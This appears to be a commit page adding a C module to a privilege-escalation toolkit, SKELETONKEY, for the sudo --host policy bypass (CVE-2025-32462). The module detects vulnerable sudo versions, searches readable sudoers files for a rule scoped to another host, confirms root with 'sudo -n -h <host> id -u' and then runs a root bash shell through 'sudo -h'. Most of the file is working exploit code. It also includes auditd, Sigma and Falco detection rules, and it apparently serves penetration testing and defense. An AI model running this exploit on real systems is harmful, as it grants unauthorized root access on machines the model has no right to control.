modules: add sudo_host (CVE-2025-32462, Stratascale sudo --host policy bypass)
Second new module this cycle; sibling of sudo_chwoot (CVE-2025-32463, same Stratascale/Rich Mirch disclosure). sudo's -h/--host option — meant only to pair with -l/--list — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via 'sudo -h <host> <cmd>' for local root. Affects sudo 1.8.8 -> 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8 (not in KEV). detect(): version-gate [1.8.8, 1.9.17p0] via ctx->host->sudo_version (the host-restricted rule itself isn't probeable unprivileged, so VULNERABLE means 'vulnerable sudo present'). exploit(): discovers an abusable host-restricted rule from readable sudoers (or SKELETONKEY_SUDO_HOST), witnesses with 'sudo -n -h <host> id -u', pops 'sudo -h <host> /bin/bash' (SKELETONKEY_SUDO_CMD) only on a uid-0 witness; honest EXPLOIT_FAIL + operator guidance otherwise. Shared 'sudo' family; structural, arch=any; safety rank 96. auditd/sigma/falco rules, NOTICE.md (Rich Mirch / Stratascale) + MODULE.md, 4 detect() test rows. Wiring: registry, Makefile, cve_metadata (+JSON), verify-vm/targets.yaml (ubuntu1804 sudo 1.8.21p2 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 40->41 modules / 35->36 CVEs; not-yet-verified lists + corpus pill.
This commit is contained in:
@@ -0,0 +1,441 @@
|
||||
/*
|
||||
* sudo_host_cve_2025_32462 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL (config-gated). No offsets, no leak, no race.
|
||||
* Pure authorization-logic flaw: sudo's `-h`/`--host` option — meant
|
||||
* only to pair with `-l`/`--list` to show your privileges on ANOTHER
|
||||
* host — was honored when actually *running* a command (or sudoedit).
|
||||
* That makes the host field of a sudoers rule attacker-chosen: a rule
|
||||
* scoped to some host other than the current machine becomes usable
|
||||
* here via `sudo -h <that-host> <command>`.
|
||||
*
|
||||
* The bug (Rich Mirch, Stratascale CRU, disclosed 2025-06-30 alongside
|
||||
* the sibling --chroot bug CVE-2025-32463):
|
||||
* `sudo -h <host> <command>` evaluates the sudoers policy as though
|
||||
* the machine were <host>. A user listed in sudoers for a different
|
||||
* host (common with a fleet-wide sudoers file, or LDAP/SSSD sudoers)
|
||||
* can therefore run that host's commands as root on the local box.
|
||||
*
|
||||
* sudo.ws advisory: https://www.sudo.ws/security/advisories/host_any/
|
||||
*
|
||||
* Affects: sudo 1.8.8 ≤ V ≤ 1.9.17p0 (the `-h` option behaviour is
|
||||
* ~12 years old). Fixed in 1.9.17p1, which stops honoring `-h` outside
|
||||
* `-l`. CWE-863 (Incorrect Authorization). CVSS 8.8 (High). NOT in
|
||||
* CISA KEV (the sibling 32463 is).
|
||||
*
|
||||
* Precondition for exploitation (NOT for detection): the invoking user
|
||||
* must already be listed in sudoers for a host that is neither the
|
||||
* current hostname nor ALL. detect() can only gate on the sudo
|
||||
* version (the host-restricted rule lives in a sudoers source the user
|
||||
* usually cannot read — that opacity is the whole point of the bug),
|
||||
* so a VULNERABLE verdict here means "vulnerable sudo present; an
|
||||
* abusable host-restricted rule MAY exist". exploit() then tries to
|
||||
* find/fire one (or takes the host+command from env vars).
|
||||
*
|
||||
* arch_support: any. Pure userspace; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#endif
|
||||
|
||||
/* ---- sudo family helpers (mirror the sibling sudo_* modules) -------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* True iff the version is in the vulnerable range [1.8.8, 1.9.17p0].
|
||||
* Fixed in 1.9.17p1. Versions below 1.8.8 predate the `-h` behaviour. */
|
||||
static bool sudo_version_vulnerable_host(const char *v)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
if (maj != 1) return false;
|
||||
if (min < 8) return false; /* 1.7.x and below predate */
|
||||
if (min == 8) return patch >= 8; /* 1.8.8 .. 1.8.x */
|
||||
if (min > 9) return false; /* 1.10+ (hypothetical) fixed */
|
||||
/* min == 9 */
|
||||
if (patch < 17) return true; /* 1.9.0 .. 1.9.16 */
|
||||
if (patch > 17) return false; /* 1.9.18+ fixed */
|
||||
/* exactly 1.9.17 */
|
||||
if (ptag != 'p') return true; /* 1.9.17 plain → vulnerable */
|
||||
return psub == 0; /* 1.9.17p0 vuln; p1+ fixed */
|
||||
}
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_host_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudo_host: sudo not installed; bug unreachable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char vbuf[64] = {0};
|
||||
const char *ver = NULL;
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
ver = ctx->host->sudo_version;
|
||||
} else if (get_sudo_version(sudo_path, vbuf, sizeof vbuf)) {
|
||||
ver = vbuf;
|
||||
} else {
|
||||
if (!ctx->json) fprintf(stderr, "[!] sudo_host: could not read sudo --version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) fprintf(stderr, "[i] sudo_host: sudo version '%s'\n", ver);
|
||||
|
||||
if (!sudo_version_vulnerable_host(ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: sudo %s outside vulnerable range "
|
||||
"[1.8.8, 1.9.17p0] — patched or pre-feature\n", ver);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudo_host: sudo %s in vulnerable range — VULNERABLE\n", ver);
|
||||
fprintf(stderr, "[i] sudo_host: `-h`/`--host` honored beyond `-l` — a sudoers "
|
||||
"rule scoped to a non-current host is usable via `sudo -h <host>`\n");
|
||||
fprintf(stderr, "[i] sudo_host: exploitation requires such a host-restricted rule "
|
||||
"(common with fleet-wide / LDAP / SSSD sudoers). Run "
|
||||
"`--exploit sudo_host --i-know` to find/fire one.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Does `tok` name a host that is exploitable from here — i.e. a specific
|
||||
* host that is neither the current hostname nor the ALL wildcard? */
|
||||
static bool host_is_abusable(const char *tok, const char *cur_host)
|
||||
{
|
||||
if (!tok || !*tok) return false;
|
||||
if (strcmp(tok, "ALL") == 0) return false; /* no restriction → no bug */
|
||||
if (tok[0] == '%' || tok[0] == '+') return false; /* netgroup/group, skip */
|
||||
if (strcasecmp(tok, cur_host) == 0) return false; /* already our host */
|
||||
/* A bare short-hostname form of the FQDN counts as "us" too. */
|
||||
const char *dot = strchr(cur_host, '.');
|
||||
if (dot) {
|
||||
size_t shortlen = (size_t)(dot - cur_host);
|
||||
if (strlen(tok) == shortlen && strncasecmp(tok, cur_host, shortlen) == 0)
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Best-effort scan of a sudoers source for a rule whose host field is
|
||||
* abusable. Fills *host_out with the host token to pass to `sudo -h`.
|
||||
* Returns true on the first hit. We do not try to fully parse the
|
||||
* sudoers grammar — we look for `<who> <host> = ...` user-spec lines and
|
||||
* test the host token. who may be the user, a %group, or ALL. */
|
||||
static bool scan_sudoers_file(const char *path, const char *user,
|
||||
const char *cur_host, char *host_out, size_t host_sz)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
char line[1024];
|
||||
bool hit = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
char *s = line;
|
||||
while (*s == ' ' || *s == '\t') s++;
|
||||
if (*s == '#' || *s == '\n' || *s == 0) continue;
|
||||
if (strncmp(s, "Defaults", 8) == 0) continue;
|
||||
if (strstr(s, "_Alias")) continue; /* alias defs, not user specs */
|
||||
if (strstr(s, "#include") || strncmp(s, "@include", 8) == 0) continue;
|
||||
|
||||
/* Must contain '=' (the host = command separator). */
|
||||
char *eq = strchr(s, '=');
|
||||
if (!eq) continue;
|
||||
|
||||
/* who = first token; host = second token (before '='). */
|
||||
char who[128] = {0}, host[256] = {0};
|
||||
if (sscanf(s, "%127s %255s", who, host) != 2) continue;
|
||||
/* strip a trailing '=' that sscanf may have grabbed onto host */
|
||||
char *he = strchr(host, '=');
|
||||
if (he) *he = 0;
|
||||
if (!host[0]) continue;
|
||||
|
||||
bool who_match = (strcmp(who, "ALL") == 0) ||
|
||||
(strcmp(who, user) == 0) ||
|
||||
(who[0] == '%'); /* group — best-effort match */
|
||||
if (!who_match) continue;
|
||||
|
||||
if (host_is_abusable(host, cur_host)) {
|
||||
snprintf(host_out, host_sz, "%s", host);
|
||||
hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return hit;
|
||||
}
|
||||
|
||||
/* Try to discover an abusable host token from readable sudoers sources.
|
||||
* Most non-root users cannot read these (that's the bug's opacity), but
|
||||
* misconfigured / world-readable sudoers and some LDAP cache dumps are
|
||||
* common enough to be worth a look. */
|
||||
static bool discover_abusable_host(const char *user, const char *cur_host,
|
||||
char *host_out, size_t host_sz)
|
||||
{
|
||||
if (scan_sudoers_file("/etc/sudoers", user, cur_host, host_out, host_sz))
|
||||
return true;
|
||||
/* /etc/sudoers.d/* — enumerate via shell glob into a temp listing. */
|
||||
FILE *p = popen("ls -1 /etc/sudoers.d/ 2>/dev/null", "r");
|
||||
if (p) {
|
||||
char name[256];
|
||||
while (fgets(name, sizeof name, p)) {
|
||||
char *nl = strchr(name, '\n'); if (nl) *nl = 0;
|
||||
if (!name[0]) continue;
|
||||
char full[512];
|
||||
snprintf(full, sizeof full, "/etc/sudoers.d/%s", name);
|
||||
if (scan_sudoers_file(full, user, cur_host, host_out, host_sz)) {
|
||||
pclose(p);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
pclose(p);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Run `sudo -n -h <host> id -u` and return true if it printed "0"
|
||||
* (command executed as root). -n keeps it non-interactive so a password
|
||||
* prompt can't hang the scan. */
|
||||
static bool sudo_host_witness_root(const char *sudo_path, const char *host)
|
||||
{
|
||||
char cmd[768];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"%s -n -h %s id -u 2>/dev/null", sudo_path, host);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char out[64] = {0};
|
||||
char *r = fgets(out, sizeof out, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
return atoi(out) == 0 && (out[0] == '0');
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static skeletonkey_result_t sudo_host_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] sudo_host: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudo_host: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = sudo_host_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_host: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_host: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
fprintf(stderr, "[-] sudo_host: sudo not installed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
char cur_host[256] = {0};
|
||||
if (gethostname(cur_host, sizeof cur_host - 1) != 0) cur_host[0] = 0;
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *user = pw ? pw->pw_name : "";
|
||||
|
||||
/* The host token to abuse. Source priority:
|
||||
* 1. SKELETONKEY_SUDO_HOST env var (operator supplies it — the most
|
||||
* reliable path, since the host-restricted rule usually lives in
|
||||
* a sudoers source the user can't read).
|
||||
* 2. Best-effort discovery from readable sudoers. */
|
||||
char host_tok[256] = {0};
|
||||
const char *envh = getenv("SKELETONKEY_SUDO_HOST");
|
||||
if (envh && *envh) {
|
||||
snprintf(host_tok, sizeof host_tok, "%s", envh);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: using SKELETONKEY_SUDO_HOST=%s\n", host_tok);
|
||||
} else if (discover_abusable_host(user, cur_host, host_tok, sizeof host_tok)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: found abusable host-restricted rule "
|
||||
"(host '%s' != current '%s') in readable sudoers\n",
|
||||
host_tok, cur_host);
|
||||
} else {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: no abusable host-restricted rule discoverable.\n"
|
||||
" The vulnerable sudo is present, but exploitation needs a sudoers\n"
|
||||
" rule scoped to a host other than '%s' (and not ALL), which is\n"
|
||||
" typically in a sudoers source you cannot read. If you know one\n"
|
||||
" (fleet-wide / LDAP / SSSD sudoers), supply it and re-run:\n"
|
||||
" SKELETONKEY_SUDO_HOST=<that-host> \\\n"
|
||||
" [SKELETONKEY_SUDO_CMD=/bin/bash] \\\n"
|
||||
" skeletonkey --exploit sudo_host --i-know\n",
|
||||
cur_host[0] ? cur_host : "(this host)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Confirm the policy actually grants root on the local box when we
|
||||
* claim to be host_tok. `id -u` as the witness command. */
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudo_host: testing `sudo -n -h %s id -u`...\n", host_tok);
|
||||
if (!sudo_host_witness_root(sudo_path, host_tok)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_host: `sudo -h %s id -u` did not return uid 0. Likely:\n"
|
||||
" - sudo is patched (1.9.17p1+) even if --version looked vulnerable\n"
|
||||
" - the rule for '%s' is command-restricted (doesn't grant `id`);\n"
|
||||
" set SKELETONKEY_SUDO_CMD to a command the rule DOES grant\n"
|
||||
" - the rule requires a password (we run -n / non-interactive)\n",
|
||||
host_tok, host_tok);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudo_host: WITNESS — `sudo -h %s` runs as uid 0. "
|
||||
"CVE-2025-32462 confirmed.\n", host_tok);
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[i] sudo_host: --no-shell set; not popping. Reproduce with: "
|
||||
"sudo -h %s <command>\n", host_tok);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Pop a root shell via the abused host. The granted command may be
|
||||
* restricted; default to /bin/bash but let the operator override to
|
||||
* whatever the rule actually permits. */
|
||||
const char *cmd = getenv("SKELETONKEY_SUDO_CMD");
|
||||
if (!cmd || !*cmd) cmd = "/bin/bash";
|
||||
fprintf(stderr, "[+] sudo_host: exec `sudo -h %s %s`\n", host_tok, cmd);
|
||||
fflush(NULL);
|
||||
execl(sudo_path, "sudo", "-h", host_tok, cmd, (char *)NULL);
|
||||
perror("execl(sudo -h)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char sudo_host_auditd[] =
|
||||
"# sudo_host CVE-2025-32462 — auditd detection rules\n"
|
||||
"# Flag sudo invocations; the abuse is `sudo -h <host>` running a\n"
|
||||
"# command (not just `-l`). auditd can't filter argv content, so this\n"
|
||||
"# watches sudo execve broadly — correlate with sudo's own logs, which\n"
|
||||
"# record the -h/--host value and the target command.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-host\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/bin/sudo -k skeletonkey-sudo-host\n";
|
||||
|
||||
static const char sudo_host_sigma[] =
|
||||
"title: Possible CVE-2025-32462 sudo --host policy-bypass LPE\n"
|
||||
"id: 7c1d9e54-skeletonkey-sudo-host\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudo invoked with -h/--host together with a command (not\n"
|
||||
" -l/--list). On sudo <= 1.9.17p0 the host option is honored when\n"
|
||||
" running commands, letting a user abuse a sudoers rule scoped to a\n"
|
||||
" different host. False positives: admins legitimately using\n"
|
||||
" `sudo -l -h <host>` to LIST remote privileges (no command present).\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudo_exec: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
|
||||
" host_opt: {argv|contains: ['-h', '--host']}\n"
|
||||
" condition: sudo_exec and host_opt\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.32462]\n";
|
||||
|
||||
static const char sudo_host_falco[] =
|
||||
"- rule: sudo --host running a command by non-root (CVE-2025-32462)\n"
|
||||
" desc: |\n"
|
||||
" sudo invoked with -h/--host while running a command (not -l). On\n"
|
||||
" sudo <= 1.9.17p0 the host option is wrongly honored outside\n"
|
||||
" --list, so a sudoers rule scoped to another host can be abused\n"
|
||||
" for local root. False positives: `sudo -l -h <host>` used purely\n"
|
||||
" to list remote privileges.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = sudo and\n"
|
||||
" (proc.cmdline contains \"-h \" or proc.cmdline contains \"--host\") and\n"
|
||||
" not proc.cmdline contains \"-l\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sudo --host running a command by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.32462]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_host_module = {
|
||||
.name = "sudo_host",
|
||||
.cve = "CVE-2025-32462",
|
||||
.summary = "sudo -h/--host honored beyond -l → abuse a host-restricted sudoers rule for local root (Stratascale)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.8 ≤ V ≤ 1.9.17p0 (fixed in 1.9.17p1)",
|
||||
.detect = sudo_host_detect,
|
||||
.exploit = sudo_host_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade sudo to 1.9.17p1+ */
|
||||
.cleanup = NULL, /* exploit runs a command as root; no persistent artifact */
|
||||
.detect_auditd = sudo_host_auditd,
|
||||
.detect_sigma = sudo_host_sigma,
|
||||
.detect_yara = NULL, /* behavioural (argv) bug — no file artifact to match */
|
||||
.detect_falco = sudo_host_falco,
|
||||
.opsec_notes = "Reads sudo --version (or the cached host fingerprint). On --exploit, best-effort reads /etc/sudoers + /etc/sudoers.d/* (usually unreadable to non-root — that opacity is the bug) looking for a user-spec whose host field is neither the current hostname nor ALL; or takes the host from SKELETONKEY_SUDO_HOST. Witnesses with `sudo -n -h <host> id -u` (non-interactive, no password prompt) and pops `sudo -h <host> /bin/bash` (override via SKELETONKEY_SUDO_CMD) only on a uid-0 witness. Audit-visible via execve(/usr/bin/sudo) with -h/--host in argv and a command present (not -l); sudo's own syslog/journal logging records the spoofed host and target command. No file artifacts, no persistence.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_host(void)
|
||||
{
|
||||
skeletonkey_register(&sudo_host_module);
|
||||
}
|
||||
Reference in New Issue
Block a user